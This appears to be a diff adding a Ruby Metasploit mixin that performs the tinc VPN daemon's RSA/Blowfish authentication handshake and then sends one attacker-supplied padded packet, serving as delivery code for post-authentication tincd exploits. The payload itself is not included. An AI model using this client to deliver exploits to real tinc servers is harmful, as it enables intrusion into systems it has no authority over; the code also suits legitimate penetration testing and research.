|
| 1 | +require 'msf/core' |
| 2 | +require 'msf/core/exploit/tcp' |
| 3 | + |
| 4 | +require 'securerandom' |
| 5 | +require 'openssl' |
| 6 | +require 'digest/sha1' |
| 7 | + |
| 8 | +module Msf |
| 9 | +# This module does a handshake with a tincd server and sends one padded packet |
| 10 | +# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch |
| 11 | +module Exploit::Remote::TincdExploitClient |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + |
| 14 | + BF_BLOCKSIZE = 64 / 8 |
| 15 | + BF_KEY_LEN = 16 |
| 16 | + BF_IV_LEN = 8 |
| 17 | + |
| 18 | + # |
| 19 | + # Module options |
| 20 | + # |
| 21 | + def initialize(info = {}) |
| 22 | + super |
| 23 | + register_options( |
| 24 | + [Opt::RPORT(655), |
| 25 | + # As this is only for post-auth exploits, you should know the value of the |
| 26 | + # following variables by simply checking |
| 27 | + # your configuration. |
| 28 | + OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']), |
| 29 | + OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']), |
| 30 | + # You should see CLIENT_NAME in cleartext in the first message to the |
| 31 | + # server by your usual tinc client (tcpdump or |
| 32 | + # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server, |
| 33 | + # this is located in the config folder, e.g. in FreeBSD |
| 34 | + # there is the client public key file /usr/local/etc/tinc/hosts/home |
| 35 | + # for the client "home" |
| 36 | + # If you don't have a clue, maybe just try the filename of your private |
| 37 | + # key without file extension |
| 38 | + OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , '']) |
| 39 | + ], self |
| 40 | + ) |
| 41 | + end |
| 42 | + |
| 43 | + # |
| 44 | + # Setting up variables and calling cipher inits with file paths from configuration |
| 45 | + # |
| 46 | + def setup_ciphers |
| 47 | + @state = :id_state |
| 48 | + @buffer = '' |
| 49 | + @inbuffer = '' |
| 50 | + @encryption_queue = [] |
| 51 | + |
| 52 | + @packet_payload = nil |
| 53 | + @keep_reading_socket = false |
| 54 | + |
| 55 | + @server_key_len = nil |
| 56 | + @client_key_len = nil |
| 57 | + @client_private_key_cipher = nil |
| 58 | + @hex_enc_key_s1 = nil |
| 59 | + @bf_enc_cipher = nil |
| 60 | + init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE']) |
| 61 | + vprint_status('Ciphers locally initalized, private key and public key files seem to be ok') |
| 62 | + @bf_dec_cipher = nil |
| 63 | + end |
| 64 | + |
| 65 | + # |
| 66 | + # The main method that will be called that will call other methods to send first message |
| 67 | + # and continously read from socket and ensures TCP disconnect at the end |
| 68 | + # |
| 69 | + def send_recv(packet_payload) |
| 70 | + @packet_payload = packet_payload |
| 71 | + @keep_reading_socket = true |
| 72 | + connect |
| 73 | + begin |
| 74 | + # send the first message |
| 75 | + id |
| 76 | + # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout? |
| 77 | + while @keep_reading_socket |
| 78 | + process_data(sock.get_once) |
| 79 | + end |
| 80 | + rescue Errno::ECONNRESET |
| 81 | + if @state == :metakey_state |
| 82 | + fail 'Server reset the connection. Probably rejecting ' + |
| 83 | + 'the private key and/or client name (e.g. client name not associated ' + |
| 84 | + 'with client public key on server side). ' + |
| 85 | + 'Wrong server public key possible too. ' + |
| 86 | + 'Please recheck client name, client private key and ' + |
| 87 | + 'server public key.' |
| 88 | + else |
| 89 | + fail 'Server reset the connection, reason unknown.' |
| 90 | + end |
| 91 | + ensure |
| 92 | + disconnect |
| 93 | + end |
| 94 | + end |
| 95 | + |
| 96 | + # |
| 97 | + # Reading of certificate files and parsing them, generation of random keys |
| 98 | + # and intialization of OFB mode blowfish cipher |
| 99 | + # |
| 100 | + def init_ciphers(server_file, client_file) |
| 101 | + server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) |
| 102 | + @server_key_len = server_public_key_cipher.n.num_bytes |
| 103 | + @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file)) |
| 104 | + @client_key_len = @client_private_key_cipher.n.num_bytes |
| 105 | + vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge") |
| 106 | + vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length") |
| 107 | + |
| 108 | + # we don't want this to happen here: |
| 109 | + # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError) |
| 110 | + # simple solution: choose the key_s1 with a leading zero byte |
| 111 | + key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1) |
| 112 | + enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING) |
| 113 | + |
| 114 | + @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0] |
| 115 | + |
| 116 | + offset_key = @server_key_len - BF_KEY_LEN |
| 117 | + offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN |
| 118 | + bf_enc_key = key_s1[offset_key...@server_key_len] |
| 119 | + bf_enc_iv = key_s1[offset_iv...offset_key] |
| 120 | + |
| 121 | + @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB') |
| 122 | + @bf_enc_cipher.encrypt |
| 123 | + @bf_enc_cipher.key = bf_enc_key |
| 124 | + @bf_enc_cipher.iv = bf_enc_iv |
| 125 | + |
| 126 | + # #Looks like ruby openssl supports other lengths than multiple of 8! |
| 127 | + # test = @bf_enc_cipher.update('A'*10) |
| 128 | + # test << @bf_enc_cipher.final |
| 129 | + # puts "Testing cipher: "+test.unpack('H*')[0] |
| 130 | + end |
| 131 | + |
| 132 | + # |
| 133 | + # Depending on the state of the protocol handshake and the data we get back |
| 134 | + # from the server, this method will decide which message has to be sent next |
| 135 | + # |
| 136 | + def process_data(data) |
| 137 | + @inbuffer += data if data |
| 138 | + case @state |
| 139 | + when :id_state |
| 140 | + if line? |
| 141 | + data = read_line |
| 142 | + vprint_status("Received ID from server: [#{data[0..30]}]") |
| 143 | + @state = :metakey_state |
| 144 | + # next expected state |
| 145 | + metakey |
| 146 | + end |
| 147 | + when :metakey_state |
| 148 | + if line? |
| 149 | + data = read_line |
| 150 | + vprint_status("Received Metakey from server: [#{data[0..30]}...]") |
| 151 | + data = data.split(' ') |
| 152 | + fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1' |
| 153 | + hexkey_s2 = data[5].rstrip # ("\n") |
| 154 | + fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 |
| 155 | + @enckey_s2 = [hexkey_s2].pack('H*') |
| 156 | + key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING) |
| 157 | + |
| 158 | + # metakey setup according to protocol_auth.c |
| 159 | + # if(!EVP_DecryptInit(c->inctx, c->incipher, |
| 160 | + # (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer |
| 161 | + # (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer |
| 162 | + # )) |
| 163 | + offset_key = @client_key_len - BF_KEY_LEN |
| 164 | + offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN |
| 165 | + bf_dec_key = key_s2[offset_key...@client_key_len] |
| 166 | + bf_dec_iv = key_s2[offset_iv...offset_key] |
| 167 | + |
| 168 | + @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB' |
| 169 | + @bf_dec_cipher.encrypt |
| 170 | + @bf_dec_cipher.key = bf_dec_key |
| 171 | + @bf_dec_cipher.iv = bf_dec_iv |
| 172 | + # don't forget, it *does* matter if you do a |
| 173 | + # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. |
| 174 | + vprint_status('Metakey handshake/exchange completed') |
| 175 | + @state = :challenge_state |
| 176 | + challenge |
| 177 | + end |
| 178 | + when :challenge_state |
| 179 | + need_len = 2 * @client_key_len + 3 |
| 180 | + if @inbuffer.length >= need_len |
| 181 | + data = pop_inbuffer_and_decrypt(need_len) |
| 182 | + vprint_status("Received challenge from server: " + |
| 183 | + "[#{data.unpack('H*')[0][0..30]}...]") |
| 184 | + data = data.split(' ', 2) |
| 185 | + fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2' |
| 186 | + challenge2 = data[1][0...2 * @client_key_len] |
| 187 | + challenge2 = [challenge2].pack('H*') |
| 188 | + fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len |
| 189 | + @state = :challenge_reply_state |
| 190 | + challenge_reply(challenge2) |
| 191 | + end |
| 192 | + when :challenge_reply_state |
| 193 | + need_len = 43 |
| 194 | + if @inbuffer.length >= need_len |
| 195 | + data = pop_inbuffer_and_decrypt(need_len) |
| 196 | + vprint_status("Received challenge reply from server:" + |
| 197 | + " [#{data.unpack('H*')[0][0..30]}...]") |
| 198 | + @state = :ack_state |
| 199 | + ack |
| 200 | + end |
| 201 | + when :ack_state |
| 202 | + need_len = 12 |
| 203 | + if @inbuffer.length >= need_len |
| 204 | + data = pop_inbuffer_and_decrypt(need_len) |
| 205 | + vprint_status("Received ack (server accepted challenge response):" + |
| 206 | + "[#{data.unpack('H*')[0][0..30]}...]") |
| 207 | + @state = :done_state |
| 208 | + send_packet |
| 209 | + end |
| 210 | + end |
| 211 | + end |
| 212 | + |
| 213 | + # |
| 214 | + # Encryption queue where waiting data gets encrypted and afterwards |
| 215 | + # the remaining messages get sent |
| 216 | + # |
| 217 | + def handle_write |
| 218 | + # handle encryption queue first |
| 219 | + unless @encryption_queue.empty? |
| 220 | + msg = @encryption_queue[0] |
| 221 | + @encryption_queue.delete_at(0) |
| 222 | + @buffer = @bf_enc_cipher.update(msg) |
| 223 | + @buffer << @bf_enc_cipher.final |
| 224 | + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and |
| 225 | + # the resulting block is used to encrypt the next block. |
| 226 | + end |
| 227 | + |
| 228 | + unless @buffer.empty? |
| 229 | + sent = send_data(@buffer) |
| 230 | + vprint_status("Sent #{sent} bytes: " + |
| 231 | + "[#{@buffer.unpack('H*')[0][0..30]}...]") |
| 232 | + @buffer = @buffer[sent..@buffer.length] |
| 233 | + end |
| 234 | + end |
| 235 | + |
| 236 | + # |
| 237 | + # Simple socket put/write |
| 238 | + # |
| 239 | + def send_data(buf) |
| 240 | + sock.put(buf) |
| 241 | + end |
| 242 | + |
| 243 | + # |
| 244 | + # Decryption method to process data sent by server |
| 245 | + # |
| 246 | + def pop_inbuffer_and_decrypt(size) |
| 247 | + # In ruby openssl OFM works not only on full blocks, but also on |
| 248 | + # parts. Therefore no worries like in pycrypto and no |
| 249 | + # modified decrypt routine, simply use the cipher as is. |
| 250 | + data = @bf_dec_cipher.update(@inbuffer.slice!(0, size)) |
| 251 | + data << @bf_dec_cipher.final |
| 252 | + # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and |
| 253 | + # the resulting block is used to decrypt the next block. |
| 254 | + end |
| 255 | + |
| 256 | + # |
| 257 | + # Read up to the next newline from the data the server sent |
| 258 | + # |
| 259 | + def read_line |
| 260 | + idx = @inbuffer.index("\n") |
| 261 | + data = @inbuffer.slice!(0, idx) |
| 262 | + @inbuffer.lstrip! |
| 263 | + data |
| 264 | + end |
| 265 | + |
| 266 | + # |
| 267 | + # Check if we already received a newline, meaning we got an |
| 268 | + # entire message for the next protocol step |
| 269 | + # |
| 270 | + def line? |
| 271 | + !!(@inbuffer.match("\n")) |
| 272 | + end |
| 273 | + |
| 274 | + # |
| 275 | + # Start message method after TCP handshake |
| 276 | + # |
| 277 | + def id |
| 278 | + msg = "0 #{datastore['CLIENT_NAME']} 17.0\n" |
| 279 | + vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]") |
| 280 | + @buffer += msg |
| 281 | + handle_write |
| 282 | + end |
| 283 | + |
| 284 | + # |
| 285 | + # Sending metakey (transferring a symmetric key that will get encrypted with |
| 286 | + # public key before beeing sent to the server) |
| 287 | + # |
| 288 | + def metakey |
| 289 | + msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n" |
| 290 | + vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]") |
| 291 | + @buffer += msg |
| 292 | + handle_write |
| 293 | + end |
| 294 | + |
| 295 | + # |
| 296 | + # Send challenge random bytes |
| 297 | + # |
| 298 | + def challenge |
| 299 | + vprint_status('Sending challenge (ciphertext)') |
| 300 | + challenge = SecureRandom.random_bytes(@server_key_len) |
| 301 | + msg = "2 #{challenge.unpack('H*')[0]}\n" |
| 302 | + @encryption_queue.push(msg) |
| 303 | + handle_write |
| 304 | + end |
| 305 | + |
| 306 | + # |
| 307 | + # Reply to challenge that was sent by server |
| 308 | + # |
| 309 | + def challenge_reply(challenge2) |
| 310 | + vprint_status('Sending challenge reply (ciphertext)') |
| 311 | + h = Digest::SHA1.hexdigest(challenge2) |
| 312 | + msg = "3 #{h.upcase}\n" |
| 313 | + @encryption_queue.push(msg) |
| 314 | + handle_write |
| 315 | + end |
| 316 | + |
| 317 | + # |
| 318 | + # Ack state to signalise challenge/response was successfull |
| 319 | + # |
| 320 | + def ack |
| 321 | + vprint_status('Sending ack (signalise server that we accept challenge' + |
| 322 | + 'reply, ciphertext)') |
| 323 | + @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") |
| 324 | + handle_write |
| 325 | + end |
| 326 | + |
| 327 | + # |
| 328 | + # Sending a packet inside the VPN connection after successfull protocol setup |
| 329 | + # |
| 330 | + def send_packet |
| 331 | + vprint_status('Protocol finished setup. Going to send packet.') |
| 332 | + msg = "17 #{@packet_payload.length}\n#{@packet_payload}" |
| 333 | + plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE) |
| 334 | + # padding |
| 335 | + msg += 'B' * plen |
| 336 | + @encryption_queue.push(msg) |
| 337 | + @keep_reading_socket = false |
| 338 | + handle_write |
| 339 | + end |
| 340 | +end |
| 341 | +end |
0 commit comments